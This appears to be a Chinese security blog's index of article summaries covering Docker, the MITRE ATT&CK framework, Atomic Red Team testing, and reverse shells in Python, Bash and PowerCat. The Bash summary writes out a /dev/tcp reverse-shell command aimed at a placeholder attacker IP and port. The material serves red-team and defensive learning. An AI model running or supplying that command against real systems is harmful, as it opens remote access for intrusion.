qianfu

摘要： 前言 容器化技术可以帮助企业更大化资源利用，同时帮助项目相关人员（开发、运维、测试、安全等）以最小的成本实现项目快速上云部署，掌握容器化管理工具Docker，就掌握了云原生最基础、最核心技术之一 应用（Application）部署容器化的演进之路 一、应用程序部署痛点 1.1 应用程序部署流程 举例 阅读全文

摘要： ATT&CK子项目atomicredteam测试环境安装与使用 Atomicredteam的主站点为https://atomicredteam.io/，是一个攻击测试库，每个安全团队都可以执行这些测试来测试他们的防御控件。测试是有重点的，几乎没有依赖关系，并且以结构化格式定义，自动化框架可以使用这种 阅读全文

摘要： ATT&CK子项目invoke-atomicredteam的安装与使用 Invoke_atomicredteam介绍 Invoke-AtomicRedTeam 是一个 PowerShell 模块，用于执行在Red Canary 的 Atomic Red Team 项目的atomics 文件夹中定义的 阅读全文

摘要： ATT&CK矩阵战术&技术（TTP）逻辑和使用 ATT&CK的战术与技术组织结构 ATT&CK矩阵中的所有战术和技术，都可以通过以下链接进行目录结构式的浏览https://attack.mitre.org/techniques/enterprise/，也可以在矩阵里直接点击对应的技术进行浏览。当前版 阅读全文

摘要： ATT&CK的十四个战术 ATT&CK矩阵从2018年的v8版本开始，战术阶段增加到14个战术（Tactics）阶段，此前为12个战术阶段，多增加了“侦查”、“资源建立”2个战术，以及“初始访问”、“执行”、“持久化”、“提权”、“防御绕过”、“凭据访问”、“发现”、“横向移动”、“收集”、“命令与 阅读全文

摘要： ATT&CK的发展历史 MITRE公司 MITRE是美国NIST标准化组织选择的专注于网络安全的组织，由美国联邦政府资助。很多安全标准都MITRE制定的，比如有名的漏洞CVE编号规则以及威胁情报格式STIX。所以ATT&CK非常有影响力，而且未来能成为一个公认的标准。（https://zhuanla 阅读全文

摘要： ATT&CK 简介 本系列旨在介绍网络红蓝对抗领域最好的ATT&CK矩阵模型，以期帮助有意愿深耕在红蓝对抗领域的人员能系统性的掌握红蓝对抗领域的知识和经验。本系列将详细ATT&CK的起源、发展历史，ATT&CK矩阵相对其他High-Level红蓝对抗模型的优势，ATT&CK在红蓝对抗领域的作用，AT 阅读全文

摘要： Python 反弹Shell Python介绍 Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计，作为一门叫做ABC语言的替代品。Python提供了高效的高级数据结构，还能简单有效地面向对象编程。Python语法和动态类型，以及解释型语言的本质，使它成为多数平台上写脚本 阅读全文

摘要： Bash反弹shell Bash介绍 Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用的Shell Bash 反弹Shell的命令如下： bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/tcp/攻击机_IP/ 阅读全文

摘要： PowerCat反弹Shell PowerCat介绍 PowerCat是一个powershell写的tcp/ip瑞士军刀，看一看成ncat的powershell的实现，然后里面也加入了众多好用的功能，如文件上传，smb协议支持，中继模式，生成payload，端口扫描等等。 PowerCat安装 Po 阅读全文